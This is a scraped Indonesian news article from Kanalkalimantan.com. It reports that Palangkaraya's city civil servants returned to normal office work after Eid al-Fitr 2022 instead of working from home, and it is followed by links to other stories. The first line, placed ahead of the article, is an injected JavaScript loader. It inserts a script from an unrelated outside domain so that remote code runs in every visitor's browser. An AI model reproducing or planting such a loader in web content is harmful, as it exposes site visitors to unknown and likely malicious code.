(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PALANGKARAYA – Pasca lebaran, Menteri Pendayagunaan Aparatur Negara dan Reformasi Birokrasi (Menpan RB), Tjahjo Kumolo memberi lampu hijau kepada ASN untuk bekerja dari rumah atau work from home (WFH) selama sepekan.
Tetapi untuk seluruh ASN Pemko Palangkaraya sudah kembali masuk kerja seperti biasa, pasca libur panjang Hari Raya Idul Fitri 1443 hijriyah, karena tidak menerapkan WFH. Hal ini sesuai surat edaran nomor 870/263.BKPSDM.Set.01/V/2022.
Sekdako Palangkaraya Hera Nugrahayu menjelaskan, dalam surat edaran tentang penegakan disiplin pegawai pasca lebaran tersebut menyebutkan, ASN dan non ASN wajib masuk kerja sesuai jadwal yang telah ditentukan serta melakukan perekaman absensi secara elektronik.
“Apel tetap dilaksanakan dan bisa dilakukan secara virtual seperti biasanya untuk memastikan kehadiran ASN. Di sini kita akan menerapkan kedisiplinan untuk para pegawai Pemko setelah libur panjang,” kata Hera, Senin (9/5/2022).
Baca juga : Haul Pangeran Syarif Ali Alaydrus Sebamban, Ini Kata Bupati Zairullah
Pemko Palangkaraya tidak menerapkan WFH lantaran melihat kedisiplinan para ASN setelah libur panjang selama cuti bersama dan lebaran, karena pelayanan maksimal harus terus diberikan kepada masyarakat sehingga kerja dilakukan normal.
“Memang penerapan WFH selama sepekan setelah cuti lebaran juga dapat dilakukan sebagai upaya isolasi mandiri, setelah dari kampung halaman setelah bertemu dengan keluarga, tapi untuk saat ini kita belum terapkan itu,” pungkasnya. (Kanalkalimantan.com/tri)
Reporter : tri
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More
KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More
This website uses cookies.